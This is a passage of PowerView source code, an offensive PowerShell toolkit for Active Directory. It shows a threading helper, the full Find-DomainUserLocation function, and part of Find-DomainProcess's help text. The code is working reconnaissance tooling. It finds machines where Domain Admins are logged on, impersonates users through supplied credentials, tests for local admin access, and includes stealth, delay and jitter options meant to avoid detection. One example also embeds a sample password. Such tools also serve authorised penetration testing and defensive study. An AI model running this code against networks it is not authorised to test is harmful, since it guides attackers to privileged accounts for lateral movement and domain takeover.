  16551         Write-Verbose "[New-ThreadedFunction] Total number of threads/partitions: $Threads"
  16552 
  16553         ForEach ($ComputerNamePartition in $ComputerNamePartitioned) {
  16554             # create a "powershell pipeline runner"
  16555             $PowerShell = [PowerShell]::Create()
  16556             $PowerShell.runspacepool = $Pool
  16557 
  16558             # add the script block + arguments with the given computer partition
  16559             $Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition)
  16560             if ($ScriptParameters) {
  16561                 ForEach ($Param in $ScriptParameters.GetEnumerator()) {
  16562                     $Null = $PowerShell.AddParameter($Param.Name, $Param.Value)
  16563                 }
  16564             }
  16565 
  16566             # create the output queue
  16567             $Output = New-Object Management.Automation.PSDataCollection[Object]
  16568 
  16569             # kick off execution using the BeginInvok() method that allows queues
  16570             $Jobs += @{
  16571                 PS = $PowerShell
  16572                 Output = $Output
  16573                 Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output))
  16574             }
  16575         }
  16576     }
  16577 
  16578     END {
  16579         Write-Verbose "[New-ThreadedFunction] Threads executing"
  16580 
  16581         # continuously loop through each job queue, consuming output as appropriate
  16582         Do {
  16583             ForEach ($Job in $Jobs) {
  16584                 $Job.Output.ReadAll()
  16585             }
  16586             Start-Sleep -Seconds 1
  16587         }
  16588         While (($Jobs | Where-Object { -not $_.Result.IsCompleted }).Count -gt 0)
  16589 
  16590         $SleepSeconds = 100
  16591         Write-Verbose "[New-ThreadedFunction] Waiting $SleepSeconds seconds for final cleanup..."
  16592 
  16593         # cleanup- make sure we didn't miss anything
  16594         for ($i=0; $i -lt $SleepSeconds; $i++) {
  16595             ForEach ($Job in $Jobs) {
  16596                 $Job.Output.ReadAll()
  16597                 $Job.PS.Dispose()
  16598             }
  16599             Start-Sleep -S 1
  16600         }
  16601 
  16602         $Pool.Dispose()
  16603         Write-Verbose "[New-ThreadedFunction] all threads completed"
  16604     }
  16605 }
  16606 
  16607 
  16608 function Find-DomainUserLocation {
  16609 <#
  16610 .SYNOPSIS
  16611 
  16612 Finds domain machines where specific users are logged into.
  16613 
  16614 Author: Will Schroeder (@harmj0y)  
  16615 License: BSD 3-Clause  
  16616 Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetSession, Test-AdminAccess, Get-NetLoggedon, Resolve-IPAddress, New-ThreadedFunction  
  16617 
  16618 .DESCRIPTION
  16619 
  16620 This function enumerates all machines on the current (or specified) domain
  16621 using Get-DomainComputer, and queries the domain for users of a specified group
  16622 (default 'Domain Admins') with Get-DomainGroupMember. Then for each server the
  16623 function enumerates any active user sessions with Get-NetSession/Get-NetLoggedon
  16624 The found user list is compared against the target list, and any matches are
  16625 displayed. If -ShowAll is specified, all results are displayed instead of
  16626 the filtered set. If -Stealth is specified, then likely highly-trafficed servers
  16627 are enumerated with Get-DomainFileServer/Get-DomainController, and session
  16628 enumeration is executed only against those servers. If -Credential is passed,
  16629 then Invoke-UserImpersonation is used to impersonate the specified user
  16630 before enumeration, reverting after with Invoke-RevertToSelf.
  16631 
  16632 .PARAMETER ComputerName
  16633 
  16634 Specifies an array of one or more hosts to enumerate, passable on the pipeline.
  16635 If -ComputerName is not passed, the default behavior is to enumerate all machines
  16636 in the domain returned by Get-DomainComputer.
  16637 
  16638 .PARAMETER Domain
  16639 
  16640 Specifies the domain to query for computers AND users, defaults to the current domain.
  16641 
  16642 .PARAMETER ComputerDomain
  16643 
  16644 Specifies the domain to query for computers, defaults to the current domain.
  16645 
  16646 .PARAMETER ComputerLDAPFilter
  16647 
  16648 Specifies an LDAP query string that is used to search for computer objects.
  16649 
  16650 .PARAMETER ComputerSearchBase
  16651 
  16652 Specifies the LDAP source to search through for computers,
  16653 e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
  16654 
  16655 .PARAMETER ComputerUnconstrained
  16656 
  16657 Switch. Search computer objects that have unconstrained delegation.
  16658 
  16659 .PARAMETER ComputerOperatingSystem
  16660 
  16661 Search computers with a specific operating system, wildcards accepted.
  16662 
  16663 .PARAMETER ComputerServicePack
  16664 
  16665 Search computers with a specific service pack, wildcards accepted.
  16666 
  16667 .PARAMETER ComputerSiteName
  16668 
  16669 Search computers in the specific AD Site name, wildcards accepted.
  16670 
  16671 .PARAMETER UserIdentity
  16672 
  16673 Specifies one or more user identities to search for.
  16674 
  16675 .PARAMETER UserDomain
  16676 
  16677 Specifies the domain to query for users to search for, defaults to the current domain.
  16678 
  16679 .PARAMETER UserLDAPFilter
  16680 
  16681 Specifies an LDAP query string that is used to search for target users.
  16682 
  16683 .PARAMETER UserSearchBase
  16684 
  16685 Specifies the LDAP source to search through for target users.
  16686 e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
  16687 
  16688 .PARAMETER UserGroupIdentity
  16689 
  16690 Specifies a group identity to query for target users, defaults to 'Domain Admins.
  16691 If any other user specifications are set, then UserGroupIdentity is ignored.
  16692 
  16693 .PARAMETER UserAdminCount
  16694 
  16695 Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
  16696 
  16697 .PARAMETER UserAllowDelegation
  16698 
  16699 Switch. Search for user accounts that are not marked as 'sensitive and not allowed for delegation'.
  16700 
  16701 .PARAMETER CheckAccess
  16702 
  16703 Switch. Check if the current user has local admin access to computers where target users are found.
  16704 
  16705 .PARAMETER Server
  16706 
  16707 Specifies an Active Directory server (domain controller) to bind to.
  16708 
  16709 .PARAMETER SearchScope
  16710 
  16711 Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
  16712 
  16713 .PARAMETER ResultPageSize
  16714 
  16715 Specifies the PageSize to set for the LDAP searcher object.
  16716 
  16717 .PARAMETER ServerTimeLimit
  16718 
  16719 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
  16720 
  16721 .PARAMETER Tombstone
  16722 
  16723 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
  16724 
  16725 .PARAMETER Credential
  16726 
  16727 A [Management.Automation.PSCredential] object of alternate credentials
  16728 for connection to the target domain and target systems.
  16729 
  16730 .PARAMETER StopOnSuccess
  16731 
  16732 Switch. Stop hunting after finding after finding a target user.
  16733 
  16734 .PARAMETER Delay
  16735 
  16736 Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
  16737 
  16738 .PARAMETER Jitter
  16739 
  16740 Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
  16741 
  16742 .PARAMETER ShowAll
  16743 
  16744 Switch. Return all user location results instead of filtering based on target
  16745 specifications.
  16746 
  16747 .PARAMETER Stealth
  16748 
  16749 Switch. Only enumerate sessions from connonly used target servers.
  16750 
  16751 .PARAMETER StealthSource
  16752 
  16753 The source of target servers to use, 'DFS' (distributed file servers),
  16754 'DC' (domain controllers), 'File' (file servers), or 'All' (the default).
  16755 
  16756 .PARAMETER Threads
  16757 
  16758 The number of threads to use for user searching, defaults to 20.
  16759 
  16760 .EXAMPLE
  16761 
  16762 Find-DomainUserLocation
  16763 
  16764 Searches for 'Domain Admins' by enumerating every computer in the domain.
  16765 
  16766 .EXAMPLE
  16767 
  16768 Find-DomainUserLocation -Stealth -ShowAll
  16769 
  16770 Enumerates likely highly-trafficked servers, performs just session enumeration
  16771 against each, and outputs all results.
  16772 
  16773 .EXAMPLE
  16774 
  16775 Find-DomainUserLocation -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local
  16776 
  16777 Enumerates Windows 7 computers in dev.testlab.local and returns user results for privileged
  16778 users in dev.testlab.local.
  16779 
  16780 .EXAMPLE
  16781 
  16782 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  16783 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  16784 Find-DomainUserLocation -Domain testlab.local -Credential $Cred
  16785 
  16786 Searches for domain admin locations in the testlab.local using the specified alternate credentials.
  16787 
  16788 .OUTPUTS
  16789 
  16790 PowerView.UserLocation
  16791 #>
  16792 
  16793     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  16794     [OutputType('PowerView.UserLocation')]
  16795     [CmdletBinding(DefaultParameterSetName = 'UserGroupIdentity')]
  16796     Param(
  16797         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  16798         [Alias('DNSHostName')]
  16799         [String[]]
  16800         $ComputerName,
  16801 
  16802         [ValidateNotNullOrEmpty()]
  16803         [String]
  16804         $Domain,
  16805 
  16806         [ValidateNotNullOrEmpty()]
  16807         [String]
  16808         $ComputerDomain,
  16809 
  16810         [ValidateNotNullOrEmpty()]
  16811         [String]
  16812         $ComputerLDAPFilter,
  16813 
  16814         [ValidateNotNullOrEmpty()]
  16815         [String]
  16816         $ComputerSearchBase,
  16817 
  16818         [Alias('Unconstrained')]
  16819         [Switch]
  16820         $ComputerUnconstrained,
  16821 
  16822         [ValidateNotNullOrEmpty()]
  16823         [Alias('OperatingSystem')]
  16824         [String]
  16825         $ComputerOperatingSystem,
  16826 
  16827         [ValidateNotNullOrEmpty()]
  16828         [Alias('ServicePack')]
  16829         [String]
  16830         $ComputerServicePack,
  16831 
  16832         [ValidateNotNullOrEmpty()]
  16833         [Alias('SiteName')]
  16834         [String]
  16835         $ComputerSiteName,
  16836 
  16837         [Parameter(ParameterSetName = 'UserIdentity')]
  16838         [ValidateNotNullOrEmpty()]
  16839         [String[]]
  16840         $UserIdentity,
  16841 
  16842         [ValidateNotNullOrEmpty()]
  16843         [String]
  16844         $UserDomain,
  16845 
  16846         [ValidateNotNullOrEmpty()]
  16847         [String]
  16848         $UserLDAPFilter,
  16849 
  16850         [ValidateNotNullOrEmpty()]
  16851         [String]
  16852         $UserSearchBase,
  16853 
  16854         [Parameter(ParameterSetName = 'UserGroupIdentity')]
  16855         [ValidateNotNullOrEmpty()]
  16856         [Alias('GroupName', 'Group')]
  16857         [String[]]
  16858         $UserGroupIdentity = 'Domain Admins',
  16859 
  16860         [Alias('AdminCount')]
  16861         [Switch]
  16862         $UserAdminCount,
  16863 
  16864         [Alias('AllowDelegation')]
  16865         [Switch]
  16866         $UserAllowDelegation,
  16867 
  16868         [Switch]
  16869         $CheckAccess,
  16870 
  16871         [ValidateNotNullOrEmpty()]
  16872         [Alias('DomainController')]
  16873         [String]
  16874         $Server,
  16875 
  16876         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  16877         [String]
  16878         $SearchScope = 'Subtree',
  16879 
  16880         [ValidateRange(1, 10000)]
  16881         [Int]
  16882         $ResultPageSize = 200,
  16883 
  16884         [ValidateRange(1, 10000)]
  16885         [Int]
  16886         $ServerTimeLimit,
  16887 
  16888         [Switch]
  16889         $Tombstone,
  16890 
  16891         [Management.Automation.PSCredential]
  16892         [Management.Automation.CredentialAttribute()]
  16893         $Credential = [Management.Automation.PSCredential]::Empty,
  16894 
  16895         [Switch]
  16896         $StopOnSuccess,
  16897 
  16898         [ValidateRange(1, 10000)]
  16899         [Int]
  16900         $Delay = 0,
  16901 
  16902         [ValidateRange(0.0, 1.0)]
  16903         [Double]
  16904         $Jitter = .3,
  16905 
  16906         [Parameter(ParameterSetName = 'ShowAll')]
  16907         [Switch]
  16908         $ShowAll,
  16909 
  16910         [Switch]
  16911         $Stealth,
  16912 
  16913         [String]
  16914         [ValidateSet('DFS', 'DC', 'File', 'All')]
  16915         $StealthSource = 'All',
  16916 
  16917         [Int]
  16918         [ValidateRange(1, 100)]
  16919         $Threads = 20
  16920     )
  16921 
  16922     BEGIN {
  16923 
  16924         $ComputerSearcherArguments = @{
  16925             'Properties' = 'dnshostname'
  16926         }
  16927         if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain }
  16928         if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
  16929         if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
  16930         if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
  16931         if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
  16932         if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
  16933         if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
  16934         if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
  16935         if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
  16936         if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
  16937         if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
  16938         if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  16939         if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
  16940         if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
  16941 
  16942         $UserSearcherArguments = @{
  16943             'Properties' = 'samaccountname'
  16944         }
  16945         if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
  16946         if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
  16947         if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
  16948         if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
  16949         if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
  16950         if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
  16951         if ($PSBoundParameters['UserAllowDelegation']) { $UserSearcherArguments['AllowDelegation'] = $UserAllowDelegation }
  16952         if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
  16953         if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
  16954         if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
  16955         if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  16956         if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
  16957         if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
  16958 
  16959         $TargetComputers = @()
  16960 
  16961         # first, build the set of computers to enumerate
  16962         if ($PSBoundParameters['ComputerName']) {
  16963             $TargetComputers = @($ComputerName)
  16964         }
  16965         else {
  16966             if ($PSBoundParameters['Stealth']) {
  16967                 Write-Verbose "[Find-DomainUserLocation] Stealth enumeration using source: $StealthSource"
  16968                 $TargetComputerArrayList = New-Object System.Collections.ArrayList
  16969 
  16970                 if ($StealthSource -match 'File|All') {
  16971                     Write-Verbose '[Find-DomainUserLocation] Querying for file servers'
  16972                     $FileServerSearcherArguments = @{}
  16973                     if ($PSBoundParameters['Domain']) { $FileServerSearcherArguments['Domain'] = $Domain }
  16974                     if ($PSBoundParameters['ComputerDomain']) { $FileServerSearcherArguments['Domain'] = $ComputerDomain }
  16975                     if ($PSBoundParameters['ComputerSearchBase']) { $FileServerSearcherArguments['SearchBase'] = $ComputerSearchBase }
  16976                     if ($PSBoundParameters['Server']) { $FileServerSearcherArguments['Server'] = $Server }
  16977                     if ($PSBoundParameters['SearchScope']) { $FileServerSearcherArguments['SearchScope'] = $SearchScope }
  16978                     if ($PSBoundParameters['ResultPageSize']) { $FileServerSearcherArguments['ResultPageSize'] = $ResultPageSize }
  16979                     if ($PSBoundParameters['ServerTimeLimit']) { $FileServerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  16980                     if ($PSBoundParameters['Tombstone']) { $FileServerSearcherArguments['Tombstone'] = $Tombstone }
  16981                     if ($PSBoundParameters['Credential']) { $FileServerSearcherArguments['Credential'] = $Credential }
  16982                     $FileServers = Get-DomainFileServer @FileServerSearcherArguments
  16983                     if ($FileServers -isnot [System.Array]) { $FileServers = @($FileServers) }
  16984                     $TargetComputerArrayList.AddRange( $FileServers )
  16985                 }
  16986                 if ($StealthSource -match 'DFS|All') {
  16987                     Write-Verbose '[Find-DomainUserLocation] Querying for DFS servers'
  16988                     # # TODO: fix the passed parameters to Get-DomainDFSShare
  16989                     # $ComputerName += Get-DomainDFSShare -Domain $Domain -Server $DomainController | ForEach-Object {$_.RemoteServerName}
  16990                 }
  16991                 if ($StealthSource -match 'DC|All') {
  16992                     Write-Verbose '[Find-DomainUserLocation] Querying for domain controllers'
  16993                     $DCSearcherArguments = @{
  16994                         'LDAP' = $True
  16995                     }
  16996                     if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain }
  16997                     if ($PSBoundParameters['ComputerDomain']) { $DCSearcherArguments['Domain'] = $ComputerDomain }
  16998                     if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server }
  16999                     if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential }
  17000                     $DomainControllers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname
  17001                     if ($DomainControllers -isnot [System.Array]) { $DomainControllers = @($DomainControllers) }
  17002                     $TargetComputerArrayList.AddRange( $DomainControllers )
  17003                 }
  17004                 $TargetComputers = $TargetComputerArrayList.ToArray()
  17005             }
  17006             else {
  17007                 Write-Verbose '[Find-DomainUserLocation] Querying for all computers in the domain'
  17008                 $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
  17009             }
  17010         }
  17011         Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)"
  17012         if ($TargetComputers.Length -eq 0) {
  17013             throw '[Find-DomainUserLocation] No hosts found to enumerate'
  17014         }
  17015 
  17016         # get the current user so we can ignore it in the results
  17017         if ($PSBoundParameters['Credential']) {
  17018             $CurrentUser = $Credential.GetNetworkCredential().UserName
  17019         }
  17020         else {
  17021             $CurrentUser = ([Environment]::UserName).ToLower()
  17022         }
  17023 
  17024         # now build the user target set
  17025         if ($PSBoundParameters['ShowAll']) {
  17026             $TargetUsers = @()
  17027         }
  17028         elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) {
  17029             $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
  17030         }
  17031         else {
  17032             $GroupSearcherArguments = @{
  17033                 'Identity' = $UserGroupIdentity
  17034                 'Recurse' = $True
  17035             }
  17036             if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
  17037             if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
  17038             if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
  17039             if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
  17040             if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
  17041             if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  17042             if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
  17043             if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
  17044             $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
  17045         }
  17046 
  17047         Write-Verbose "[Find-DomainUserLocation] TargetUsers length: $($TargetUsers.Length)"
  17048         if ((-not $ShowAll) -and ($TargetUsers.Length -eq 0)) {
  17049             throw '[Find-DomainUserLocation] No users found to target'
  17050         }
  17051 
  17052         # the host enumeration block we're using to enumerate all servers
  17053         $HostEnumBlock = {
  17054             Param($ComputerName, $TargetUsers, $CurrentUser, $Stealth, $TokenHandle)
  17055 
  17056             if ($TokenHandle) {
  17057                 # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
  17058                 $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
  17059             }
  17060 
  17061             ForEach ($TargetComputer in $ComputerName) {
  17062                 $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
  17063                 if ($Up) {
  17064                     $Sessions = Get-NetSession -ComputerName $TargetComputer
  17065                     ForEach ($Session in $Sessions) {
  17066                         $UserName = $Session.UserName
  17067                         $CName = $Session.CName
  17068 
  17069                         if ($CName -and $CName.StartsWith('\\')) {
  17070                             $CName = $CName.TrimStart('\')
  17071                         }
  17072 
  17073                         # make sure we have a result, and ignore computer$ sessions
  17074                         if (($UserName) -and ($UserName.Trim() -ne '') -and ($UserName -notmatch $CurrentUser) -and ($UserName -notmatch '\$$')) {
  17075 
  17076                             if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName)) {
  17077                                 $UserLocation = New-Object PSObject
  17078                                 $UserLocation | Add-Member Noteproperty 'UserDomain' $Null
  17079                                 $UserLocation | Add-Member Noteproperty 'UserName' $UserName
  17080                                 $UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer
  17081                                 $UserLocation | Add-Member Noteproperty 'SessionFrom' $CName
  17082 
  17083                                 # try to resolve the DNS hostname of $Cname
  17084                                 try {
  17085                                     $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName
  17086                                     $UserLocation | Add-Member NoteProperty 'SessionFromName' $CnameDNSName
  17087                                 }
  17088                                 catch {
  17089                                     $UserLocation | Add-Member NoteProperty 'SessionFromName' $Null
  17090                                 }
  17091 
  17092                                 # see if we're checking to see if we have local admin access on this machine
  17093                                 if ($CheckAccess) {
  17094                                     $Admin = (Test-AdminAccess -ComputerName $CName).IsAdmin
  17095                                     $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
  17096                                 }
  17097                                 else {
  17098                                     $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null
  17099                                 }
  17100                                 $UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation')
  17101                                 $UserLocation
  17102                             }
  17103                         }
  17104                     }
  17105                     if (-not $Stealth) {
  17106                         # if we're not 'stealthy', enumerate loggedon users as well
  17107                         $LoggedOn = Get-NetLoggedon -ComputerName $TargetComputer
  17108                         ForEach ($User in $LoggedOn) {
  17109                             $UserName = $User.UserName
  17110                             $UserDomain = $User.LogonDomain
  17111 
  17112                             # make sure wet have a result
  17113                             if (($UserName) -and ($UserName.trim() -ne '')) {
  17114                                 if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName) -and ($UserName -notmatch '\$$')) {
  17115                                     $IPAddress = @(Resolve-IPAddress -ComputerName $TargetComputer)[0].IPAddress
  17116                                     $UserLocation = New-Object PSObject
  17117                                     $UserLocation | Add-Member Noteproperty 'UserDomain' $UserDomain
  17118                                     $UserLocation | Add-Member Noteproperty 'UserName' $UserName
  17119                                     $UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer
  17120                                     $UserLocation | Add-Member Noteproperty 'IPAddress' $IPAddress
  17121                                     $UserLocation | Add-Member Noteproperty 'SessionFrom' $Null
  17122                                     $UserLocation | Add-Member Noteproperty 'SessionFromName' $Null
  17123 
  17124                                     # see if we're checking to see if we have local admin access on this machine
  17125                                     if ($CheckAccess) {
  17126                                         $Admin = Test-AdminAccess -ComputerName $TargetComputer
  17127                                         $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
  17128                                     }
  17129                                     else {
  17130                                         $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null
  17131                                     }
  17132                                     $UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation')
  17133                                     $UserLocation
  17134                                 }
  17135                             }
  17136                         }
  17137                     }
  17138                 }
  17139             }
  17140 
  17141             if ($TokenHandle) {
  17142                 Invoke-RevertToSelf
  17143             }
  17144         }
  17145 
  17146         $LogonToken = $Null
  17147         if ($PSBoundParameters['Credential']) {
  17148             if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
  17149                 $LogonToken = Invoke-UserImpersonation -Credential $Credential
  17150             }
  17151             else {
  17152                 $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
  17153             }
  17154         }
  17155     }
  17156 
  17157     PROCESS {
  17158         # only ignore threading if -Delay is passed
  17159         if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
  17160 
  17161             Write-Verbose "[Find-DomainUserLocation] Total number of hosts: $($TargetComputers.count)"
  17162             Write-Verbose "[Find-DomainUserLocation] Delay: $Delay, Jitter: $Jitter"
  17163             $Counter = 0
  17164             $RandNo = New-Object System.Random
  17165 
  17166             ForEach ($TargetComputer in $TargetComputers) {
  17167                 $Counter = $Counter + 1
  17168 
  17169                 # sleep for our semi-randomized interval
  17170                 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
  17171 
  17172                 Write-Verbose "[Find-DomainUserLocation] Enumerating server $Computer ($Counter of $($TargetComputers.Count))"
  17173                 Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetUsers, $CurrentUser, $Stealth, $LogonToken
  17174 
  17175                 if ($Result -and $StopOnSuccess) {
  17176                     Write-Verbose "[Find-DomainUserLocation] Target user found, returning early"
  17177                     return
  17178                 }
  17179             }
  17180         }
  17181         else {
  17182             Write-Verbose "[Find-DomainUserLocation] Using threading with threads: $Threads"
  17183             Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)"
  17184 
  17185             # if we're using threading, kick off the script block with New-ThreadedFunction
  17186             $ScriptParams = @{
  17187                 'TargetUsers' = $TargetUsers
  17188                 'CurrentUser' = $CurrentUser
  17189                 'Stealth' = $Stealth
  17190                 'TokenHandle' = $LogonToken
  17191             }
  17192 
  17193             # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
  17194             New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
  17195         }
  17196     }
  17197 
  17198     END {
  17199         if ($LogonToken) {
  17200             Invoke-RevertToSelf -TokenHandle $LogonToken
  17201         }
  17202     }
  17203 }
  17204 
  17205 
  17206 function Find-DomainProcess {
  17207 <#
  17208 .SYNOPSIS
  17209 
  17210 Searches for processes on the domain using WMI, returning processes
  17211 that match a particular user specification or process name.
  17212 
  17213 Thanks to @paulbrandau for the approach idea.
  17214 
  17215 Author: Will Schroeder (@harmj0y)  
  17216 License: BSD 3-Clause  
  17217 Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WMIProcess, New-ThreadedFunction  
  17218 
  17219 .DESCRIPTION
  17220 
  17221 This function enumerates all machines on the current (or specified) domain
  17222 using Get-DomainComputer, and queries the domain for users of a specified group
  17223 (default 'Domain Admins') with Get-DomainGroupMember. Then for each server the
  17224 function enumerates any current processes running with Get-WMIProcess,
  17225 searching for processes running under any target user contexts or with the
  17226 specified -ProcessName. If -Credential is passed, it is passed through to
  17227 the underlying WMI commands used to enumerate the remote machines.
  17228 
  17229 .PARAMETER ComputerName
  17230 
  17231 Specifies an array of one or more hosts to enumerate, passable on the pipeline.
  17232 If -ComputerName is not passed, the default behavior is to enumerate all machines
  17233 in the domain returned by Get-DomainComputer.
  17234 
  17235 .PARAMETER Domain
  17236 
  17237 Specifies the domain to query for computers AND users, defaults to the current domain.
  17238 
  17239 .PARAMETER ComputerDomain
  17240 
  17241 Specifies the domain to query for computers, defaults to the current domain.
  17242 
  17243 .PARAMETER ComputerLDAPFilter
  17244 
  17245 Specifies an LDAP query string that is used to search for computer objects.
  17246 
  17247 .PARAMETER ComputerSearchBase
  17248 
  17249 Specifies the LDAP source to search through for computers,
  17250 e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
  17251 
  17252 .PARAMETER ComputerUnconstrained
  17253 
  17254 Switch. Search computer objects that have unconstrained delegation.
  17255 
  17256 .PARAMETER ComputerOperatingSystem
  17257 
  17258 Search computers with a specific operating system, wildcards accepted.
  17259 
  17260 .PARAMETER ComputerServicePack
  17261 
  17262 Search computers with a specific service pack, wildcards accepted.
  17263 
  17264 .PARAMETER ComputerSiteName
  17265 
  17266 Search computers in the specific AD Site name, wildcards accepted.
  17267 
  17268 .PARAMETER ProcessName
  17269 
  17270 Search for processes with one or more specific names.
  17271 
  17272 .PARAMETER UserIdentity
  17273 
  17274 Specifies one or more user identities to search for.
  17275 
  17276 .PARAMETER UserDomain
  17277 
  17278 Specifies the domain to query for users to search for, defaults to the current domain.
  17279 
  17280 .PARAMETER UserLDAPFilter
  17281 
  17282 Specifies an LDAP query string that is used to search for target users.
  17283 
  17284 .PARAMETER UserSearchBase
  17285 
  17286 Specifies the LDAP source to search through for target users.
  17287 e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
  17288 
  17289 .PARAMETER UserGroupIdentity
  17290 
  17291 Specifies a group identity to query for target users, defaults to 'Domain Admins.
  17292 If any other user specifications are set, then UserGroupIdentity is ignored.
  17293 
  17294 .PARAMETER UserAdminCount
  17295 
